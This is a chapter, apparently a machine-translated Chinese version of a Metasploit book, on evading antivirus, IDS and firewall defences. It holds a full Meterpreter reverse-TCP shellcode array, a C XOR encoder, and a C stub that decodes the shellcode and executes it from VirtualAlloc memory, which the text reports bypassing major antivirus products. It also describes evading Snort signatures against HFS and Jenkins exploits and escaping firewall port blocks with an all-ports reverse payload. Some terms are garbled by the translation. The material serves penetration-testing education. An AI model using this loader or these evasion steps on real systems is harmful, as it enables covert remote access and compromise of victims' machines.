Skip to content

Latest commit

 

History

History
303 lines (200 loc) · 17.9 KB

File metadata and controls

303 lines (200 loc) · 17.9 KB

十九、使用 Metasploit 的绕过

在最后八章中,我们已经介绍了渗透测试的所有主要阶段。在本章中,我们将介绍渗透测试人员在实际场景中可能出现的问题。一次直接的攻击会在 Metasploit 中给你一个外壳的日子已经一去不复返了。近年来,随着攻击面的增加,安全性也逐渐提高。因此,需要复杂的机制来绕过各种性质的安全控制。在本章中,我们将研究可以防止在目标端点部署安全控制的不同方法和技术。在本章中,我们将介绍:

  • 绕过流量计有效负载的 AV 检测
  • 绕过 IDS 系统
  • 绕过防火墙和被阻止的端口

那么,让我们从绕过技术开始。

使用 C 包装器和自定义编码器绕过流量计

MeterMeter 是安全研究人员最常用的有效载荷之一。然而,由于受到欢迎,它被大多数 AV 解决方案检测到,并且往往会在一瞬间被标记。让我们使用msfvenom生成一个简单的 Metasploit 可执行文件,如下所示:

我们使用msfvenom命令创建了一个简单的反向 TCP MeterMeter 可执行后门。此外,我们还提到了LHOSTLPORT,后面是 PE/COFF 可执行文件的 EXE 格式。我们还通过使用-b开关提及空字符、换行字符和回车字符来防止它们。我们可以看到,可执行文件已成功生成。让我们将此可执行文件移动到apache文件夹,并尝试在 Windows Defender 和奇虎 360 防病毒保护的 Windows 10 操作系统上下载并执行它。但是,在运行它之前,让我们启动一个匹配的处理程序,如下所示:

我们可以看到,我们在端口4444上启动了一个匹配的处理程序作为后台作业。让我们尝试在 Windows 系统上下载并执行 MeterMeter 后门,并检查是否获得反向连接:

哎呀!看起来 AV 甚至不允许下载文件。嗯,这在普通流量计有效载荷后门的情况下非常典型。让我们快速计算Sample.exe文件的 MD5 散列,如下所示:

让我们在流行的在线 AV 扫描仪(如上)上查看该文件 http://nodistribute.com/ ,具体如下:

好我们可以看到 27/37 防病毒解决方案检测到该文件。很糟糕,对吧?让我们看看如何通过使用 C 编程和少量编码来避免这种情况。让我们开始吧。

用 C 语言编写自定义仪表编码器/解码器

为了绕过目标的安全控制,我们将使用自定义编码方案,比如说 XOR 编码,然后使用一个或两个其他编码。此外,我们将不使用传统的 PE/COFF 格式,而是生成外壳代码来解决问题。让我们使用msfvenom的方式与之前使用 PE 格式的方式类似。但是,我们会将输出格式更改为 C,如以下屏幕截图所示:

查看Sample.c文件的内容,我们有以下内容:

由于我们已经准备好外壳代码,我们将用 C 构建一个编码器,它将使用我们选择的字节(即0xAA)对外壳代码进行异或编码,如下所示:

让我们看看如何用 C 创建编码器程序,如下所示:

#include <Windows.h>
#include "stdafx.h"
#include <iostream>
#include <iomanip>
#include <conio.h>
unsigned char buf[] =
"\xbe\x95\xb2\x95\xfe\xdd\xc4\xd9\x74\x24\xf4\x5a\x31\xc9\xb1"
"\x56\x83\xc2\x04\x31\x72\x0f\x03\x72\x9a\x50\x60\x02\x4c\x16"
"\x8b\xfb\x8c\x77\x05\x1e\xbd\xb7\x71\x6a\xed\x07\xf1\x3e\x01"
"\xe3\x57\xab\x92\x81\x7f\xdc\x13\x2f\xa6\xd3\xa4\x1c\x9a\x72"
"\x26\x5f\xcf\x54\x17\x90\x02\x94\x50\xcd\xef\xc4\x09\x99\x42"
"\xf9\x3e\xd7\x5e\x72\x0c\xf9\xe6\x67\xc4\xf8\xc7\x39\x5f\xa3"
"\xc7\xb8\x8c\xdf\x41\xa3\xd1\xda\x18\x58\x21\x90\x9a\x88\x78"
"\x59\x30\xf5\xb5\xa8\x48\x31\x71\x53\x3f\x4b\x82\xee\x38\x88"
"\xf9\x34\xcc\x0b\x59\xbe\x76\xf0\x58\x13\xe0\x73\x56\xd8\x66"
"\xdb\x7a\xdf\xab\x57\x86\x54\x4a\xb8\x0f\x2e\x69\x1c\x54\xf4"
"\x10\x05\x30\x5b\x2c\x55\x9b\x04\x88\x1d\x31\x50\xa1\x7f\x5d"
"\x95\x88\x7f\x9d\xb1\x9b\x0c\xaf\x1e\x30\x9b\x83\xd7\x9e\x5c"
"\x92\xf0\x20\xb2\x1c\x90\xde\x33\x5c\xb8\x24\x67\x0c\xd2\x8d"
"\x08\xc7\x22\x31\xdd\x7d\x29\xa5\x1e\x29\x27\x50\xf7\x2b\x38"
"\x8b\x5b\xa2\xde\xfb\x33\xe4\x4e\xbc\xe3\x44\x3f\x54\xee\x4b"
"\x60\x44\x11\x86\x09\xef\xfe\x7e\x61\x98\x67\xdb\xf9\x39\x67"
"\xf6\x87\x7a\xe3\xf2\x78\x34\x04\x77\x6b\x21\x73\x77\x73\xb2"
"\x16\x77\x19\xb6\xb0\x20\xb5\xb4\xe5\x06\x1a\x46\xc0\x15\x5d"
"\xb8\x95\x2f\x15\x8f\x03\x0f\x41\xf0\xc3\x8f\x91\xa6\x89\x8f"
"\xf9\x1e\xea\xdc\x1c\x61\x27\x71\x8d\xf4\xc8\x23\x61\x5e\xa1"
"\xc9\x5c\xa8\x6e\x32\x8b\xaa\x69\xcc\x49\x85\xd1\xa4\xb1\x95"
"\xe1\x34\xd8\x15\xb2\x5c\x17\x39\x3d\xac\xd8\x90\x16\xa4\x53"
"\x75\xd4\x55\x63\x5c\xb8\xcb\x64\x53\x61\xfc\x1f\x1c\x96\xfd"
"\xdf\x34\xf3\xfe\xdf\x38\x05\xc3\x09\x01\x73\x02\x8a\x36\x8c"
"\x31\xaf\x1f\x07\x39\xe3\x60\x02";

int main()
{
 for (unsigned int i = 0; i < sizeof buf; ++i)
 {
  if (i % 15 == 0)
  {
   std::cout << "\"\n\"";
  }
  unsigned char val = (unsigned int)buf[i] ^ 0xAA;
  std::cout << "\\x" << std::hex << (unsigned int)val;
 }
 _getch();
 return 0;
}

这是一个简单的程序,我们将生成的外壳代码复制到一个数组buf[]中,并简单地对其进行迭代,在每个字节上使用 Xor 和0xAA字节,并将其打印在屏幕上。编译并运行此程序将输出以下编码的有效负载:

现在我们有了编码的有效负载,我们需要编写一个解密存根可执行文件,在执行时将该有效负载转换为原始有效负载。解密存根可执行文件实际上是要交付给目标的最终可执行文件。要了解目标执行解密存根可执行文件时会发生什么,我们可以参考下图:

我们可以看到,在执行时,编码的外壳代码被解码为其原始形式并被执行。让我们编写一个简单的 C 程序来演示这一点,如下所示:

#include"stdafx.h"
#include <Windows.h>
#include <iostream>
#include <iomanip>
#include <conio.h>
unsigned char encoded[] =
"\x14\x3f\x18\x3f\x54\x77\x6e\x73\xde\x8e\x5e\xf0\x9b\x63\x1b"
"\xfc\x29\x68\xae\x9b\xd8\xa5\xa9\xd8\x30\xfa\xca\xa8\xe6\xbc"
"\x21\x51\x26\xdd\xaf\xb4\x17\x1d\xdb\xc0\x47\xad\x5b\x94\xab"
"\x49\xfd\x01\x38\x2b\xd5\x76\xb9\x85\xc\x79\x0e\xb6\x30\xd8"
"\x8c\xf5\x65\xfe\xbd\x3a\xa8\x3e\xfa\x67\x45\x6e\xa3\x33\xe8"
"\x53\x94\x7d\xf4\xd8\xa6\x53\x4c\xcd\x6e\x52\x6d\x93\xf5\x9"
"\x6d\x12\x26\x75\xeb\x9\x7b\x70\xb2\xf2\x8b\x3a\x30\x22\xd2"
"\xf3\x9a\x5f\x1f\x2\xe2\x9b\xdb\xf9\x95\xe1\x28\x44\x92\x22"
"\x53\x9e\x66\xa1\xf3\x14\xdc\x5a\xf2\xb9\x4a\xd9\xfc\x72\xcc"
"\x71\xd0\x75\x01\xfd\x2c\xfe\xe0\x12\xa5\x84\xc3\xb6\xfe\x5e"
"\xba\xaf\x9a\xf1\x86\xff\x31\xae\x22\xb7\x9b\xfa\xb\xd5\xf7"
"\x3f\x22\xd5\x37\x1b\x31\xa6\x5\xb4\x9a\x31\x29\x7d\x34\xf6"
"\x38\x5a\x8a\x18\xb6\x3a\x74\x99\xf6\x12\x8e\xcd\xa6\x78\x27"
"\xa2\x6d\x88\x9b\x77\xd7\x83\xf\xb4\x83\x8d\xfa\x5d\x81\x92"
"\x21\xf1\x8\x74\x51\x99\x4e\xe4\x16\x49\xee\x95\xfe\x44\xe1"
"\xca\xee\xbb\x2c\xa3\x45\x54\xd4\xcb\x32\xcd\x71\x53\x93\xcd"
"\x5c\x2d\xd0\x49\x58\xd2\x9e\xae\xdd\xc1\x8b\xd9\xdd\xd9\x18"
"\xbc\xdd\xb3\x1c\x1a\x8a\x1f\x1e\x4f\xac\xb0\xec\x6a\xbf\xf7"
"\x12\x3f\x85\xbf\x25\xa9\xa5\xeb\x5a\x69\x25\x3b\xc\x23\x25"
"\x53\xb4\x40\x76\xb6\xcb\x8d\xdb\x27\x5e\x62\x89\xcb\xf4\xb"
"\x63\xf6\x2\xc4\x98\x21\x00\xc3\x66\xe3\x2f\x7b\xe\x1b\x3f"
"\x4b\x9e\x72\xbf\x18\xf6\xbd\x93\x97\x6\x72\x3a\xbc\xe\xf9"
"\xdf\x7e\xff\xc9\xf6\x12\x61\xce\xf9\xcb\x56\xb5\xb6\x3c\x57"
"\x75\x9e\x59\x54\x75\x92\xaf\x69\xa3\xab\xd9\xa8\x20\x9c\x26"
"\x9b\x5\xb5\xad\x93\x49\xca\xa8\xaa";
int main()
{
 void *exec = VirtualAlloc(0, sizeof encoded, MEM_COMMIT, PAGE_EXECUTE_READWRITE);

 for (unsigned int i = 0; i < sizeof encoded; ++i)
 {
  unsigned char val = (unsigned int)encoded[i] ^ 0xAA;
  encoded[i] = val;
 }
 memcpy(exec, encoded, sizeof encoded);
 ((void(*)())exec)();
 return 0;
}

同样,一个非常简单的程序;我们使用VirtualAlloc函数在调用程序的虚拟地址空间中保留空间。我们还使用了memcpy将解码的字节复制到VirtualAlloc指针保留的空间中。接下来,我们执行指针上保存的字节。那么,让我们测试一下我们的程序,看看它在目标环境中是如何工作的。我们将遵循同样的步骤;让我们按如下方式查找程序的 MD5 哈希:

让我们尝试下载并执行以下程序:

下载没有问题!哎呀!这是一个正常的弹出窗口,表示文件未知;没什么好担心的。现在让我们尝试执行该文件,如下所示:

砰砰!我们在 64 位 Windows 10 操作系统上运行奇虎 360 Premium Antivirus,并对其进行了全面保护和修补,从而获得了对目标的 MeterMeter 访问权限。让我们试穿一下http://nodistribute.com/ 还有:

我们可以看到,一些防病毒解决方案仍然将可执行文件标记为恶意软件。然而,我们的技术绕过了一些主要玩家,包括 Avast、AVG、Avira、Kaspersky、Comodo,甚至 Norton 和 McAfee。九个 AV 解决方案中的其余部分也可以通过一些技巧绕过,如延迟执行、文件压缩等等。让我们通过右键单击并使用奇虎 360 杀毒软件进行扫描来确认检查:

没问题!在整个练习中,我们看到了有效负载从可执行状态到外壳代码形式的过程。我们看到了一个小小的自定义解码器应用在绕过 AV 解决方案时是如何创造奇迹的。

利用 Metasploit 绕过入侵检测系统

如果有入侵检测系统,您在目标上的会话可能是短暂的。Snort是一种流行的 IDS 系统,当网络上发现异常时,它可以生成快速警报。考虑以下情况:开发一个带有 Snort IDS 的目标的 ReaveToHFS 服务器:

我们可以看到,我们成功地获得了 MeterMeter 会话。然而,右边的图片显示了一些优先事项。我必须承认,Snort 团队和社区制定的规则非常严格,有时很难绕过。然而,为了最大限度地覆盖 Metasploit 绕过技术,并为了学习,我们创建了一个简单的规则来检测易受攻击 HFS 服务器上的登录,如下所示:

alert tcp $EXTERNAL_NET any -> $HOME_NET $HTTP_PORTS (msg:"SERVER-WEBAPP Rejetto HttpFileServer Login attempt"; content:"GET"; http_method; classtype:web-application-attack; sid:1000001;) 

前面的规则很简单,建议如果从外部网络生成的任何GET请求正在使用 HTTP 端口上的目标网络的任何端口,则必须显示消息。你能想到我们怎么能绕过这样一条标准规则吗?让我们在下一节讨论它。

使用随机案例以获得乐趣和利润

因为我们正在处理 HTTP 请求,所以我们总是可以使用 Burp 中继器来帮助快速测试。因此,让我们并排使用 Snort 和 Burp,并开始一些测试:

我们可以看到,只要我们向目标 URI 发出请求,它就会被记录到 Snort 中,这不是好消息。尽管如此,我们看到了规则,并且知道 Snort 尝试将GET的内容与请求中的内容相匹配。我们试着修改GET请求的大小写,并按如下方式重复该请求:

没有生成新日志!美好的我们刚刚看到了如何更改方法的大小写并愚弄一条简单的规则。然而,我们仍然不知道如何在 Metasploit 中实现这一技术。让我向您介绍以下绕过选项:

我们可以看到,我们有很多逃避选择。我知道你已经猜到了。但是,如果您没有,我们将在此处使用HTTP::method_random_case选项,我们将按如下方式重试利用漏洞:

让我们按如下方式利用目标:

我们是干净的!是的!我们轻而易举地绕过了规则。让我们在下一节中尝试一些更复杂的场景。

利用假亲属欺骗 IDS 系统

与前面的方法类似,我们可以在 Metasploit 中使用假亲属,在处理目录时最终得出相同的结论。让我们看看以下规则集:

我们可以看到前面的 Snort 规则检查传入数据包中的POST /script内容。我们可以通过多种方式来实现这一点,但让我们使用一种新方法,即伪目录关联。此技术将添加以前的随机目录以到达同一目录;例如,如果/Nipun/abc.txt文件夹中存在一个文件,则模块将使用类似/root/whatever/../../Nipun/abc.txt的内容,这意味着它使用了其他目录,并最终返回到同一目录。因此,这使得 URL 足够长,IDS 可以提高效率周期。让我们考虑一个例子。

在本练习中,我们将使用 Jenkinsscript_console命令执行漏洞来攻击在192.168.1.149上运行的目标,如以下屏幕截图所示:

我们可以看到 Jenkins 运行在目标 IP 的端口8888``192.168.1.149上。让我们使用exploit/multi/http/Jenkins_script_console module来攻击目标。可以看到我们已经设置了RHOSTRPORTTARGEURI等选项。让我们利用这个系统:

成功我们可以看到,我们可以轻松地使用 MeterMeter 进入目标。让我们看看 Snort 为我们准备了什么:

看来我们刚刚被抓住了!让我们在 Metasploit 中设置以下绕过选项:

现在,让我们重新运行该漏洞,看看能否在 Snort 中获得任何信息:

Snort 里什么都没有!让我们看看我们的开发是如何进行的:

美好的我们又一次避开了鼻息声!可以尝试所有其他 Snort 规则,更好地了解幕后的工作方式。

绕过 Windows 防火墙阻止的端口

当我们试图在 Windows 目标系统上执行 MeterMeter 时,我们可能永远无法访问 MeterMeter。这在管理员已阻止系统上特定端口集的情况下很常见。在本例中,让我们尝试使用 smart Metasploit 负载来绕过此类情况。让我们快速设置一个场景,如下所示:

我们可以看到,我们已经设置了新的防火墙规则和指定的端口号4444-6666。继续下一步,我们将选择阻止这些出站端口,如以下屏幕截图所示:

让我们检查防火墙状态和规则:

我们可以看到,规则已经建立,我们的防火墙在家庭和公共网络上都已启用。考虑到我们在目标上运行了磁盘脉冲企业软件。在前面的章节中我们已经看到,我们可以利用这个软件。让我们尝试执行该漏洞:

我们可以看到漏洞确实存在,但我们无法访问目标,因为防火墙在端口4444上阻止了我们。

在所有端口上使用反向流量计

为了避免这种情况,我们将使用windows/meterpreter/reverse_tcp_allports有效载荷,它将尝试每个端口,并为我们提供对未被阻止端口的访问。此外,由于我们只在端口4444上侦听,因此需要将所有随机端口的流量重定向到我们端的端口4444。我们可以使用以下命令执行此操作:

让我们使用反向tcp meterpreter有效负载,使用所有端口再次执行该漏洞利用:

我们可以看到,我们可以轻松地使用 MeterMeter 进入目标。我们绕过了 Windows 防火墙,获得了一个 MeterMeter 连接。在管理员对入站和出站端口保持主动的方式的情况下,此技术非常有用。

在这一点上,您可能想知道前面的技术是否是一个大问题,对吗?或者,你可能会感到困惑。让我们在 Wireshark 中查看整个过程,以了解数据包级别的内容:

我们可以看到,最初,来自 kali 机器的数据被发送到端口80,导致缓冲区溢出。一旦攻击成功,就建立了从目标系统到端口6667(端口阻塞范围后的第一个端口)的连接。此外,由于我们将所有端口从4444-7777路由到4444端口,因此它被路由并最终返回到4444端口,我们获得了 MeterMeter 访问权。

总结和练习

在本章中,我们学习了使用自定义编码器的 AV 绕过技术,我们绕过了 IDS 系统的签名匹配,我们还使用所有 TCP 端口 MeterMeter 负载避免了 Windows 防火墙阻止的端口。

您可以尝试以下练习来提高您的逃避技能:

  • 尝试在解码器中不使用sleep()功能的情况下延迟有效负载的执行,并分析检测率的变化
  • 尝试使用其他逻辑操作,如 NOT、双异或,并使用简单密码,如 ROT 和有效负载
  • 绕过 Snort 中的至少 3 个签名并修复它们
  • 了解并使用 SSH 隧道绕过防火墙

下一章在很大程度上依赖于这些技术,并深入探讨了 Metasploit。